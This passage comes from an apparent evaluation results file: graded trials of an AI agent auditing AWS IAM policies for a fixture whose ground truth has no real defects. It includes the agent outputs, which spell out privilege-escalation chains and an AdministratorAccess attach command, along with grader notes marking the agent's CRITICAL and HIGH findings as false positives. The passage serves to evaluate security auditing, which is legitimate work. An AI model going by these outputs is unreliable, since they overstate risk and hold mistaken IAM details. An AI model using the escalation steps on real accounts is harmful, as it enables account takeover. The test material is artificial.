\"arn:aws:iam::488213749302:role/break-glass-admin\"\n```\n\n`iam:CreateAccessKey` is an **IAM User** action. Access keys cannot be created for IAM Roles \u2014 roles use temporary credentials via STS. The correct resource type for `iam:CreateAccessKey` is `arn:aws:iam::*:user/*`.\n\n**Consequence A (Security):** This statement grants no actual capability as written, so the intent is unclear. If the intent was to mint credentials for a *user* associated with break-glass workflows, the resource scope would need to be a user ARN \u2014 and that would be genuinely dangerous.\n\n**Consequence B (Correctness):** Policy linters and access analyzers may flag this as a resource-type mismatch. IAM will accept the policy but the action can never be exercised against a role ARN.\n\n**Consequence C (Confusion):** The presence of `iam:CreateAccessKey` in a Deny list (policy-2) that covers `Resource: \"*\"` is fine \u2014 it prevents future misuse if a user ARN ever becomes in-scope \u2014 but having it in the Allow against a role ARN creates a false impression of intended capability.\n\n### Severity\n\n**HIGH** \u2014 Not currently exploitable, but indicates the policy author may have intended to allow access-key creation for a user, which would be a serious misconfiguration. Requires clarification and removal.\n\n### Fix\n\n```json\n// Remove iam:CreateAccessKey from policy-1 entirely.\n// If break-glass access-key creation for a user is legitimately needed,\n// create a separate, tightly scoped statement with:\n\"Action\": \"iam:CreateAccessKey\",\n\"Resource\": \"arn:aws:iam::488213749302:user/break-glass-admin-user\",\n// and ensure this is covered by an SCP-level Deny outside normal conditions.\n```\n\n---\n\n## Finding 3 \u2014 MEDIUM | `iam:PassRole` Scope Allows Service-Federation Abuse if Policy-2 Is Ever Removed\n\n### What Is Actually Wrong\n\n```json\n\"Action\": \"iam:PassRole\",\n\"Resource\": \"arn:aws:iam::488213749302:role/break-glass-admin\"\n```\n\n`iam:PassRole` without a `iam:PassedToService` condition allows passing `break-glass-admin` to **any AWS service** (EC2, Lambda, ECS, Glue, etc.), not just a specific intended service. If policy-2's Deny were ever removed (see Finding 1), an attacker could:\n\n```\n1. Launch an EC2 instance, passing break-glass-admin as the instance profile\n2. Connect to the instance via SSM Session Manager\n3. Use the instance's metadata endpoint to retrieve break-glass-admin credentials\n4. Act as full administrator from outside the identity-platform-operator role\n (leaving no direct CloudTrail attribution to the operator)\n```\n\n### Severity\n\n**MEDIUM** (conditional on Finding 1 being present; standalone it is defense-in-depth) \u2014 Adds an indirection layer that obscures attribution and bypasses any role-session controls applied to identity-platform-operator directly.\n\n### Fix\n\n```json\n{\n \"Sid\": \"PassRoleToSpecificServiceOnly\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/break-glass-admin\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"SPECIFY-INTENDED-SERVICE.amazonaws.com\"\n }\n }\n}\n```\n\nIf no legitimate `PassRole` use case exists for this role, remove the action entirely from policy-1.\n\n---\n\n## Finding 4 \u2014 LOW | `iam:CreatePolicyVersion` + `iam:SetDefaultPolicyVersion` Is a Complete Policy-Replacement Primitive\n\n### What Is Actually Wrong\n\nThese two actions together, scoped to `break-glass-admin-policy`, allow replacing the policy's content entirely with arbitrary JSON \u2014 equivalent to full write access to whatever that policy controls. This is not a misconfiguration per se if the intent is to manage that policy, but it must be explicitly documented and should carry compensating controls.\n\nIf `break-glass-admin-policy` is an **AWS managed policy** or a policy attached to roles other than `break-glass-admin`, this becomes a lateral movement primitive: rewrite the policy to grant permissions to the operator's own role, wait for the policy to be evaluated on another principal.\n\n### Severity\n\n**LOW** (given current Deny coverage) \u2014 Informational/architectural note.\n\n### Fix\n\n1. Confirm `break-glass-admin-policy` is a customer-managed policy attached **only** to `break-glass-admin`.\n2. Add a tag-based condition or SCP preventing attachment of `break-glass-admin-policy` to any other principal.\n3. Enable CloudTrail alerting on `CreatePolicyVersion` and `SetDefaultPolicyVersion` for this policy ARN.\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Currently Exploitable? | Fix |\n|---|---|---|---|---|\n| 1 | Policy-2 is a detachable Allow policy, not a real Permission Boundary | **CRITICAL** | Latent (one detach from active) | Replace with IAM Permission Boundary + SCP guard |\n| 2 | `iam:CreateAccessKey` scoped to a role ARN (invalid resource type, unclear intent) | **HIGH** | No | Remove or re-scope to user ARN with justification |\n| 3 | `iam:PassRole` missing `iam:PassedToService` condition | **MEDIUM** | Conditional on Finding 1 | Add `iam:PassedToService` condition |\n| 4 | `CreatePolicyVersion` + `SetDefaultPolicyVersion` is a full policy-replacement primitive | **LOW** | No (Denied) | Verify policy attachment scope; add CloudTrail alerting |\n\n---\n\n## One-Line Verdict\n\n> **The Deny in policy-2 prevents immediate exploitation, but the entire control is architectural theater \u2014 one policy detach away from full account compromise. Attach a real Permission Boundary immediately.**",
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{
"fixture": "05-iam-mutation-boundary-capped",
"condition": "control",
"trial": 1,
"score": 3,
"scores_by_item": [
1,
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0,
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"notes": [
"The agent correctly parses the statements, recognizing the dangerous actions in policy-1 and the Deny in policy-2, and understands they interact.",
"The ground truth finds zero real defects (the Deny fully neutralizes the kit), but the agent reports multiple CRITICAL and HIGH findings treating latent/neutralized paths as real defects.",
"The agent generates significant false positives by treating Deny-neutralized actions as live escalation paths and calling the permissions-policy-vs-boundary distinction a CRITICAL security flaw, which the ground truth explicitly says is not a real escalation.",
"The agent correctly reasons across statements, recognizing that policy-2's Deny wins over policy-1's Allows, and traces the full escalation chain that would exist without the Deny.",
"The agent headlines a neutralized Deny as CRITICAL and labels multiple neutralized escalation paths as HIGH, directly contradicting the ground truth that the effective permission set collapses to read-only and there are no real findings.",
"The agent correctly identifies that it cannot determine whether other attached policies or SCPs might re-grant the denied actions, matching the ground-truth boundary.",
"The ground truth says no fix is needed for security (the Deny boundary already neutralizes the kit), but the agent recommends converting policy-2 to a real permission boundary and multiple other remediations as if there are live vulnerabilities."
],
"agent_output": "## IAM Policy Audit: `identity-platform-operator`\n\n---\n\n### Executive Summary\n\n**The net-effective permissions for this principal are almost entirely harmless** \u2014 the Deny in policy-2 wins over the Allow in policy-1 for every dangerous action. However, there are several significant findings: one **critical structural flaw** in how the Deny is deployed, one **high-severity residual escalation path** that survives the Deny, and several medium/low issues.\n\n---\n\n## Finding 1 \u2014 CRITICAL: The Deny Is Attached as a Permissions Policy, Not a Permission Boundary\n\n### What is wrong\n\nPolicy-2 is described as \"permission-boundary-style\" but it is **attached as an identity-based permissions policy**. This is not a semantic distinction \u2014 it is a fundamental security control failure.\n\n**A permissions policy Deny can be removed by anyone with `iam:DetachRolePolicy` or `iam:DeleteRolePolicy` on this role.** If the operator role itself, or any other role that can modify it, detaches policy-2, every Allow in policy-1 becomes live instantly.\n\nMore concretely: this Deny provides **zero tamper resistance**. A real permission boundary (`PutRolePermissionsBoundary`) cannot be removed by the bounded principal itself even if that principal has `iam:DeleteRolePolicy`, because boundary removal requires `iam:DeleteRolePermissionsBoundary`, which is a separate, independently deniable action. A permissions-policy Deny has no such property.\n\n**Current state:**\n```\npolicy-1 (Allow dangerous actions) + policy-2 (Deny same actions) \n= net zero effective permissions on those actions\n```\n\n**After detaching policy-2 (requires only iam:DetachRolePolicy on this role \u2014 NOT granted here, but see Finding 2):**\n```\npolicy-1 alone = full privilege escalation capability\n```\n\n### Severity: CRITICAL\n\n### Fix\n\nReplace policy-2 with an actual IAM Permission Boundary:\n\n```bash\naws iam put-role-permissions-boundary \\\n --role-name identity-platform-operator \\\n --permissions-boundary-arn arn:aws:iam::488213749302:policy/identity-platform-boundary\n```\n\nThe boundary policy document should contain the same Deny actions, but as a **boundary** (only Allow statements are needed in a boundary \u2014 anything not allowed is implicitly denied at the boundary evaluation layer):\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"AllowReadOnlyIAM\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\",\n \"iam:GetPolicy\",\n \"iam:GetPolicyVersion\",\n \"iam:ListRolePolicies\",\n \"iam:ListAttachedRolePolicies\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}\n```\n\nThen separately, ensure no principal this operator can influence has `iam:DeleteRolePermissionsBoundary` without SCP-level controls.\n\n---\n\n## Finding 2 \u2014 HIGH: `iam:CreatePolicyVersion` + `iam:SetDefaultPolicyVersion` Scoped to `policy/break-glass-admin-policy` Is a Privilege Escalation Path That Partially Survives\n\n### What is wrong\n\nThe Resource ARN for `iam:CreatePolicyVersion` and `iam:SetDefaultPolicyVersion` includes:\n\n```\narn:aws:iam::488213749302:policy/break-glass-admin-policy\n```\n\n`iam:CreatePolicyVersion` allows the caller to **write a new policy document** to an existing managed policy and set it as default. If `break-glass-admin-policy` is attached to any role or user, the operator can rewrite that policy to grant anything \u2014 including `iam:*` or `sts:AssumeRole` on `*` \u2014 and then assume that role.\n\n**The Deny in policy-2 currently blocks this.** But the escalation path is latent and becomes fully live the moment the Deny is removed or misconfigured (see Finding 1). It also surfaces in any condition where the Deny evaluation is bypassed (e.g., an SCP that overrides, or a future policy modification).\n\n### The specific escalation chain (when Deny is absent):\n\n```\n1. iam:CreatePolicyVersion on break-glass-admin-policy\n \u2192 Write new version: {\"Effect\":\"Allow\",\"Action\":\"*\",\"Resource\":\"*\"}\n \n2. iam:SetDefaultPolicyVersion on break-glass-admin-policy\n \u2192 Activate the new version\n \n3. break-glass-admin role (which has break-glass-admin-policy attached) \n now has iam:* + sts:* \n \n4. iam:UpdateAssumeRolePolicy on break-glass-admin role\n \u2192 Add identity-platform-operator as a trusted principal\n \n5. sts:AssumeRole \u2192 break-glass-admin\n \u2192 Full administrator\n```\n\nSteps 4 and 5 are also in policy-1, making this a **complete, self-contained escalation chain** requiring no external resources.\n\n### Severity: HIGH (latent; critical if Finding 1 is exploited)\n\n### Fix\n\n**Option A (Preferred):** Remove `iam:CreatePolicyVersion` and `iam:SetDefaultPolicyVersion` from policy-1 entirely. There is no legitimate reason an operator role needs to rewrite managed policy documents \u2014 use `iam:PutRolePolicy` for inline policy management instead, and limit it tightly.\n\n**Option B:** If version management is required, add an explicit condition restricting it to non-escalation contexts:\n\n```json\n{\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:CreatePolicyVersion\",\n \"iam:SetDefaultPolicyVersion\"\n ],\n \"Resource\": \"arn:aws:iam::488213749302:policy/break-glass-admin-policy\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PolicyARN\": \"arn:aws:iam::488213749302:policy/break-glass-admin-policy\"\n },\n \"Bool\": {\n \"aws:MultiFactorAuthPresent\": \"true\"\n }\n }\n}\n```\n\nNote: This reduces but does not eliminate the risk \u2014 the fundamental problem is write access to a policy document.\n\n---\n\n## Finding 3 \u2014 HIGH: `iam:PassRole` Scope Is Insufficient and Potentially Dangerous\n\n### What is wrong\n\n`iam:PassRole` is granted on:\n\n```\narn:aws:iam::488213749302:role/break-glass-admin\n```\n\n`iam:PassRole` allows the principal to assign the `break-glass-admin` role to **any AWS service that accepts role passing** (Lambda, EC2, ECS, Glue, etc.) \u2014 provided the principal also has the right service-level `Create*` permissions.\n\nTwo problems:\n\n1. **No `iam:PassedToService` condition is set.** Without this condition, the operator can pass `break-glass-admin` to any service. If they can create a Lambda function (not blocked here), they can attach `break-glass-admin` to it and invoke code that runs as admin.\n\n2. **The policy does not restrict what services this role can be passed to**, making the blast radius dependent entirely on what other service permissions this principal has \u2014 which are not shown in these two policies.\n\n### Severity: HIGH\n\n### Fix\n\nAlways scope `iam:PassRole` with `iam:PassedToService`:\n\n```json\n{\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/break-glass-admin\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": [\n \"ec2.amazonaws.com\"\n ]\n }\n }\n}\n```\n\nReplace the service list with **only the services this operator legitimately needs**. If no service-passing is needed, remove `iam:PassRole` entirely.\n\n---\n\n## Finding 4 \u2014 HIGH: `iam:CreateAccessKey` Scoped to `role/break-glass-admin` Is an Invalid but Dangerous Statement\n\n### What is wrong\n\n`iam:CreateAccessKey` applies to **IAM users**, not roles. The resource ARN:\n\n```\narn:aws:iam::488213749302:role/break-glass-admin\n```\n\ndoes not match the resource type for `CreateAccessKey`. **AWS will silently treat this as a no-match**, meaning the action is neither allowed nor denied by this statement for any user resource.\n\nHowever, this creates a **false sense of containment**. A reviewer or automated tool might conclude that `CreateAccessKey` is safely scoped, when in fact:\n\n- It is not effective on the role (wrong resource type)\n- It is not effective on any user either (because no user ARN is listed)\n- If policy-2's Deny were removed, `CreateAccessKey` would be **unrestricted** because the Allow doesn't actually constrain it to anything valid \u2014 and IAM may evaluate the overly broad action against `*` in some edge evaluation paths\n\nAdditionally: if the intent was to allow creating access keys **for the break-glass-admin role's associated user** (if one exists), the ARN format is wrong. Access keys are a user-level construct: `arn:aws:iam::488213749302:user/break-glass-admin`.\n\n### Severity: HIGH (silent misconfiguration + escalation if Deny removed)\n\n### Fix\n\n**If the intent is to create access keys for a specific user:**\n```json\n{\n \"Effect\": \"Allow\",\n \"Action\": \"iam:CreateAccessKey\",\n \"Resource\": \"arn:aws:iam::488213749302:user/break-glass-admin-user\"\n}\n```\n\n**If no access key creation is needed:** Remove `iam:CreateAccessKey` from policy-1 entirely. Long-lived access keys on privileged identities are themselves a security anti-pattern and should not be routinely creatable by an operator role.\n\n---\n\n## Finding 5 \u2014 MEDIUM: `iam:AttachRolePolicy` Without `iam:PolicyARN` Condition Allows Attaching Any Managed Policy\n\n### What is wrong\n\nThe Allow for `iam:AttachRolePolicy` is scoped by **resource** (the role ARN), but not by **which policy can be attached**. This means the operator can attach *any* managed policy in the account \u2014 including `arn:aws:iam::aws:policy/AdministratorAccess` \u2014 to `break-glass-admin`:\n\n```bash\naws iam attach-role-policy \\\n --role-name break-glass-admin \\\n --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nCombined with `iam:UpdateAssumeRolePolicy`, this is a one-step escalation path.\n\nAgain, currently blocked by policy-2's Deny, but it is a latent critical path.\n\n### Severity: MEDIUM (latent; critical if Deny removed)\n\n### Fix\n\nAdd a `Condition` on `iam:AttachRolePolicy` restricting which policies can be attached:\n\n```json\n{\n \"Effect\": \"Allow\",\n \"Action\": \"iam:AttachRolePolicy\",\n \"Resource\": \"arn:aws:iam::488213749302:role/break-glass-admin\",\n \"Condition\": {\n \"ArnEquals\": {\n \"iam:PolicyARN\": \"arn:aws:iam::488213749302:policy/break-glass-admin-policy\"\n }\n }\n}\n```\n\n---\n\n## Finding 6 \u2014 MEDIUM: No MFA Condition on Any Break-Glass Action\n\n### What is wrong\n\nAll seven high-risk actions in policy-1 are exercisable with long-term credentials or any valid session token \u2014 no MFA is required. Break-glass operations by definition should require the highest assurance authentication. A compromised session token for this role (e.g., via SSRF, credential leakage) is sufficient to trigger all latent escalation paths.\n\n### Severity: MEDIUM\n\n### Fix\n\nAdd `aws:MultiFactorAuthPresent` to all statements in policy-1:\n\n```json\n\"Condition\": {\n \"Bool\": {\n \"aws:MultiFactorAuthPresent\": \"true\"\n },\n \"NumericLessThan\": {\n \"aws:MultiFactorAuthAge\": \"900\"\n }\n}\n```\n\nNote: `MultiFactorAuthPresent` does not apply to role sessions assumed via federation or IAM roles in some configurations \u2014 validate this works for your session model, and consider `sts:SetSourceIdentity` + CloudTrail alerting as compensating controls.\n\n---\n\n## Finding 7 \u2014 LOW: `ReadOnlyIamInventory` in policy-2 Is Allow Inside a Deny Policy \u2014 Ineffective as Written\n\n### What is wrong\n\nThe `ReadOnlyIamInventory` statement in policy-2 grants:\n\n```json\n\"iam:GetRole\", \"iam:GetPolicy\", \"iam:GetPolicyVersion\",\n\"iam:ListRolePolicies\", \"iam:ListAttachedRolePolicies\"\n```\n\nThis Allow in policy-2 works correctly **as a permissions policy** (it's evaluated alongside policy-1). However:\n\n1. If policy-2 is converted to a real **Permission Boundary** (the fix for Finding 1), these Allow statements in the boundary do *not* grant permissions \u2014 boundaries only constrain, they don't grant. The principal would need these allows in a separate permissions policy.\n\n2. The read-only grants are not present in policy-1, so they are only provided by policy-2. If the structure is reorganized, these could be accidentally dropped.\n\n### Severity: LOW\n\n### Fix\n\nMove the `ReadOnlyIamInventory` Allow into policy-1 (the permissions policy), so it survives the conversion of policy-2 into a true permission boundary. The boundary should contain only the constraining allow-list of what this role is ever permitted to do.\n\n---\n\n## Consolidated Risk Summary\n\n| # | Finding | Severity | Effective Now? | Effective if Deny Removed? |\n|---|---------|----------|---------------|---------------------------|\n| 1 | Deny is a permissions policy, not a real boundary | **CRITICAL** | Yes \u2014 structural | Yes |\n| 2 | CreatePolicyVersion/SetDefaultPolicyVersion = policy rewrite escalation | **HIGH** | Blocked | **Full admin** |\n| 3 | PassRole lacks `iam:PassedToService` condition | **HIGH** | Blocked | **Service escalation** |\n| 4 | CreateAccessKey on wrong resource type (silent misconfiguration) | **HIGH** | Blocked/Invalid | **Unrestricted** |\n| 5 | AttachRolePolicy allows any managed policy (no PolicyARN condition) | **MEDIUM** | Blocked | **Full admin** |\n| 6 | No MFA condition on break-glass actions | **MEDIUM** | Yes \u2014 session risk | Yes |\n| 7 | ReadOnly allow in policy-2 will be lost on correct restructuring | **LOW** | No | No |\n\n---\n\n## Priority Remediation Order\n\n```\n1. [CRITICAL] Convert policy-2 to a real Permission Boundary immediately.\n2. [HIGH] Remove CreatePolicyVersion + SetDefaultPolicyVersion from policy-1.\n3. [HIGH] Remove CreateAccessKey or fix to correct user ARN.\n4. [HIGH] Add iam:PassedToService condition to PassRole.\n5. [MEDIUM] Add iam:PolicyARN condition to AttachRolePolicy.\n6. [MEDIUM] Add MFA + session age conditions to all policy-1 statements.\n7. [LOW] Move ReadOnlyIamInventory into policy-1 before restructuring.\n```",
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{
"fixture": "05-iam-mutation-boundary-capped",
"condition": "control",
"trial": 2,
"score": 3,
"scores_by_item": [
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"notes": [
"Agent correctly parses both policies, identifies the mutation kit in policy-1 and the Deny in policy-2, and expands them into concrete sensitive primitives.",
"Ground truth says findings are empty (clean fixture); agent reports 7 findings with CRITICAL/HIGH/MEDIUM severities, failing to recognize the policy is effectively clean.",
"Agent asserts multiple material defects (CRITICAL architectural flaw, HIGH privilege escalation paths) that the ground truth explicitly says are neutralized by the Deny, producing significant false positives.",
"Agent does demonstrate cross-statement reasoning by acknowledging the Deny in policy-2 blocks the escalation chains, noting they are 'conditional on policy-2 remaining attached'.",
"Agent headlines a neutralized Deny-capped policy as CRITICAL severity, directly contradicting the ground truth that the mutation kit is fully capped and the effective permission set is read-only.",
"Agent mentions it cannot determine whether other attached policies or admin roles could detach policy-2, and references the break-glass role's privileges \u2014 matching the boundary constraint in ground truth.",
"Ground truth says the correct top fix is 'None for security' since the Deny boundary already neutralizes the kit; agent recommends converting to a real Permission Boundary and removing escalation grants, which contradicts the correct answer of no security fix needed."
],
"agent_output": "## IAM Policy Audit: `identity-platform-operator`\n\n---\n\n### Executive Summary\n\nThe design intent is correct \u2014 use an Allow in policy-1, neutralize it with a Deny in policy-2. **The implementation achieves that goal for the listed actions.** However, there are several meaningful gaps, structural problems, and one significant residual risk that survives the Deny. I'll work through each precisely.\n\n---\n\n## Finding 1: The Deny Is Attached as a Permissions Policy, Not a Permission Boundary \u2014 The Entire Control Plane Depends on Policy Attachment Order and Admin Discipline\n\n**Severity: CRITICAL (architectural)**\n\n### The Problem\n\nPolicy-2 is described as \"permission-boundary-style\" but it is **not** an IAM Permission Boundary (`iam:PutUserPermissionsBoundary` / `iam:PutRolePermissionsBoundary`). It is an **identity-based policy** attached alongside policy-1.\n\nThis distinction has severe consequences:\n\n**1. Any IAM principal that can detach policy-2 from this role undoes the entire control.**\n\nIf `identity-platform-operator` itself, or any other operator role, can call:\n```\niam:DetachRolePolicy\n Resource: arn:aws:iam::488213749302:role/identity-platform-operator\n```\n...then the Deny disappears and policy-1's full mutation kit becomes live. Nothing in either policy shown prevents this.\n\n**2. A true Permission Boundary cannot be removed by the principal it constrains** (without `iam:DeleteRolePermissionsBoundary` / `iam:PutRolePermissionsBoundary` on itself, which would itself need to be in scope). An attached Deny policy has no such protection.\n\n**3. Policy-2 contains an explicit `Allow` (`ReadOnlyIamInventory`).** A document that is meant to be a restrictive boundary should contain *only* Denies. The Allow in policy-2 grants permissions that policy-1 never granted \u2014 meaning policy-2 is doing double duty as both a guard rail and a permissions grant, making it harder to reason about and easier to misconfigure over time.\n\n### Fix\n\n```\nOption A (Preferred): Convert policy-2's Deny block into a real IAM \nPermission Boundary and attach it to the role via \niam:PutRolePermissionsBoundary.\n\nOption B: If staying with identity-based policies, add an explicit Deny\non iam:DetachRolePolicy scoped to the identity-platform-operator role ARN\nitself, in a policy managed by a separate, higher-privilege admin role that\nidentity-platform-operator cannot touch.\n```\n\nFor Option A, the boundary document would be:\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"DenyAllPrivilegeEscalation\",\n \"Effect\": \"Deny\",\n \"Action\": [\n \"iam:PutRolePolicy\",\n \"iam:PutUserPolicy\",\n \"iam:PutGroupPolicy\",\n \"iam:AttachRolePolicy\",\n \"iam:AttachUserPolicy\",\n \"iam:AttachGroupPolicy\",\n \"iam:CreatePolicyVersion\",\n \"iam:SetDefaultPolicyVersion\",\n \"iam:UpdateAssumeRolePolicy\",\n \"iam:PassRole\",\n \"iam:CreateAccessKey\",\n \"iam:CreateLoginProfile\",\n \"iam:UpdateLoginProfile\",\n \"iam:AddUserToGroup\",\n \"sts:AssumeRole\",\n \"iam:DeleteRolePermissionsBoundary\",\n \"iam:PutRolePermissionsBoundary\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"AllowedOperations\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\",\n \"iam:GetPolicy\",\n \"iam:GetPolicyVersion\",\n \"iam:ListRolePolicies\",\n \"iam:ListAttachedRolePolicies\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}\n```\n\n---\n\n## Finding 2: `iam:CreatePolicyVersion` + `iam:SetDefaultPolicyVersion` on `break-glass-admin-policy` Is a Direct Privilege Escalation Path That the Deny Blocks \u2014 But Only While Policy-2 Remains Attached\n\n**Severity: HIGH (conditional on Finding 1)**\n\n### The Problem\n\nPolicy-1 grants both `iam:CreatePolicyVersion` and `iam:SetDefaultPolicyVersion` on `arn:aws:iam::488213749302:policy/break-glass-admin-policy`.\n\nThe combination of these two actions is a **textbook privilege escalation primitive**:\n1. Call `iam:CreatePolicyVersion` to inject a new policy version containing `\"Action\": \"*\", \"Resource\": \"*\"`.\n2. Call `iam:SetDefaultPolicyVersion` to promote that version to active.\n3. The `break-glass-admin` role (which has this policy attached) now has unrestricted access.\n4. Call `sts:AssumeRole` on `break-glass-admin` \u2014 **except** `sts:AssumeRole` is Denied by policy-2.\n\nSo the chain is broken at step 4 *only* while policy-2 is attached. If policy-2 is detached (Finding 1), steps 1\u20134 complete and the operator becomes an administrator.\n\nEven with policy-2 intact, the operator can **poison the break-glass policy content** without being able to use it immediately. That is itself a sabotage/integrity risk.\n\n### Fix\n\n```json\nRemove iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion from \npolicy-1 entirely, unless there is an explicit, audited operational \nrequirement. Break-glass role management should go through a pipeline \nwith approval gates, not direct IAM API calls.\n```\n\nIf these actions must be retained, add a condition restricting the policy version count and requiring MFA:\n\n```json\n{\n \"Sid\": \"ManageBreakGlassPolicyVersionsMFA\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:CreatePolicyVersion\",\n \"iam:SetDefaultPolicyVersion\"\n ],\n \"Resource\": \"arn:aws:iam::488213749302:policy/break-glass-admin-policy\",\n \"Condition\": {\n \"Bool\": {\n \"aws:MultiFactorAuthPresent\": \"true\"\n },\n \"NumericLessThan\": {\n \"aws:RequestedRegion\": \"...\"\n }\n }\n}\n```\n(MFA condition alone is not sufficient but raises the bar.)\n\n---\n\n## Finding 3: `iam:UpdateAssumeRolePolicy` on `break-glass-admin` Allows Trust Policy Rewrite \u2014 Partial Escalation Path\n\n**Severity: HIGH**\n\n### The Problem\n\n`iam:UpdateAssumeRolePolicy` on `arn:aws:iam::488213749302:role/break-glass-admin` allows the operator to **replace the role's trust policy** (its `AssumeRolePolicyDocument`) with an arbitrary document.\n\nThe operator could rewrite the trust to allow:\n```json\n{\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::488213749302:role/identity-platform-operator\"\n },\n \"Action\": \"sts:AssumeRole\"\n}\n```\nThen call `sts:AssumeRole` on `break-glass-admin`.\n\n`sts:AssumeRole` **is Denied** by policy-2 \u2014 so this chain is blocked while policy-2 is attached.\n\nHowever:\n- If policy-2 is detached (Finding 1), this chain completes to full admin.\n- Even with policy-2 attached, rewriting the trust policy is a **persistent configuration change** that persists after policy-2 is detached or the role is modified later. It is a latent backdoor.\n- This also constitutes a **control integrity violation**: an operator can make the break-glass role assumable by any principal, including external accounts, by writing:\n\n```json\n{\n \"Principal\": {\"AWS\": \"*\"},\n \"Action\": \"sts:AssumeRole\",\n \"Condition\": {\"StringEquals\": {\"sts:ExternalId\": \"known-value\"}}\n}\n```\n\n### Fix\n\n```\nRemove iam:UpdateAssumeRolePolicy from policy-1. The trust relationship \nof a break-glass role should be managed exclusively by a separate \nprivileged pipeline with approval and audit logging, not by an operator \nrole. If modification is required operationally, scope it behind a \nseparate, time-limited, MFA-required assume into a dedicated \ntrust-management role.\n```\n\n---\n\n## Finding 4: `iam:PassRole` on `break-glass-admin` With No `iam:PassedToService` Condition\n\n**Severity: MEDIUM-HIGH**\n\n### The Problem\n\n`iam:PassRole` is granted on `arn:aws:iam::488213749302:role/break-glass-admin` with **no condition restricting which service the role can be passed to**.\n\nAn unconditioned `iam:PassRole` on a highly privileged role allows the operator to pass `break-glass-admin` to any service that accepts it: Lambda, EC2, ECS, Glue, CodeBuild, etc. The operator then triggers that service to execute arbitrary code running as `break-glass-admin`.\n\nExample attack chain:\n1. Create a Lambda function (if `lambda:CreateFunction` is available elsewhere).\n2. Pass `break-glass-admin` as the Lambda execution role.\n3. Invoke the Lambda with a payload that calls `sts:GetCallerIdentity` or performs admin actions.\n4. Exfiltrate results.\n\n`sts:AssumeRole` is Denied, but **service-mediated role assumption via PassRole is not `sts:AssumeRole`** \u2014 the service calls `sts:AssumeRole` internally. The Deny in policy-2 applies to the *operator's* calls to `sts:AssumeRole`, not to a Lambda function's calls.\n\n### Fix\n\n```json\n{\n \"Sid\": \"PassRoleScopedToService\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/break-glass-admin\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": [\n \"ec2.amazonaws.com\"\n ]\n }\n }\n}\n```\n\nRestrict `iam:PassedToService` to only the specific service(s) that legitimately need this role passed to them. If no service legitimately receives `break-glass-admin`, **remove `iam:PassRole` entirely**.\n\nAlso add `lambda:CreateFunction`, `ec2:RunInstances`, and similar service-launch APIs to the Deny list in policy-2 if the operator should not be creating compute resources.\n\n---\n\n## Finding 5: `iam:CreateAccessKey` on `break-glass-admin` Role ARN \u2014 Incorrect Resource Type, Potential Logic Error\n\n**Severity: MEDIUM**\n\n### The Problem\n\n`iam:CreateAccessKey` is listed with `Resource` pointing to a **role ARN**:\n```\narn:aws:iam::488213749302:role/break-glass-admin\n```\n\n`iam:CreateAccessKey` operates on **IAM users**, not roles. IAM roles do not have access keys. The IAM policy engine evaluates `Resource` for `CreateAccessKey` against the **user ARN** (`arn:aws:iam::ACCOUNT:user/USERNAME`), not a role ARN.\n\nThis means the intent of \"allow creating an access key for the break-glass role\" is **silently not enforced** in the way the author likely intended. The action either:\n- **Does nothing meaningful** (no user exists with that ARN pattern), or\n- **Is over-broad** if the intent was to allow creating access keys for a user named `break-glass-admin` \u2014 but `Resource` must be `arn:aws:iam::488213749302:user/break-glass-admin` for that to work.\n\nIn either case, the policy-2 Deny on `iam:CreateAccessKey` with `Resource: *` does block this \u2014 but the underlying logic error should be corrected.\n\nAdditionally, if the intent is to create long-term access keys for a break-glass scenario, this is a security anti-pattern. Break-glass access should use time-limited credentials via `sts:AssumeRole`, not static access keys.\n\n### Fix\n\n```\n1. If the intent is to create an access key for an IAM user named \n break-glass-admin: correct the Resource to \n arn:aws:iam::488213749302:user/break-glass-admin.\n\n2. In all cases: reconsider whether CreateAccessKey belongs in this \n policy at all. Break-glass access should use STS temporary credentials,\n not long-term access keys. Remove this action and implement a \n time-limited credential vending process instead.\n```\n\n---\n\n## Finding 6: `iam:AttachRolePolicy` Is Not Restricted to Specific Managed Policies \u2014 Allows Attaching Any Managed Policy to Break-Glass Role\n\n**Severity: MEDIUM**\n\n### The Problem\n\nPolicy-1 grants `iam:AttachRolePolicy` scoped to the resource `arn:aws:iam::488213749302:role/break-glass-admin`. The `Resource` in `AttachRolePolicy` controls which **role** is modified, not which **policy** is attached.\n\nThere is no condition restricting which managed policy ARN can be attached. The operator can attach **any managed policy in the account or AWS-managed policies** to `break-glass-admin`, including:\n\n- `arn:aws:iam::aws:policy/AdministratorAccess`\n- `arn:aws:iam::aws:policy/IAMFullAccess`\n- Any custom policy granting broad permissions\n\nThis is a direct privilege escalation path through the break-glass role (again conditional on `sts:AssumeRole` being unblocked, per Finding 1, or the PassRole vector in Finding 4).\n\n### Fix\n\nAdd a condition using `iam:PolicyARN` to restrict which policies may be attached:\n\n```json\n{\n \"Sid\": \"AttachOnlyApprovedPolicies\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:AttachRolePolicy\",\n \"Resource\": \"arn:aws:iam::488213749302:role/break-glass-admin\",\n \"Condition\": {\n \"ArnEquals\": {\n \"iam:PolicyARN\": [\n \"arn:aws:iam::488213749302:policy/break-glass-admin-policy\"\n ]\n }\n }\n}\n```\n\n---\n\n## Finding 7: No 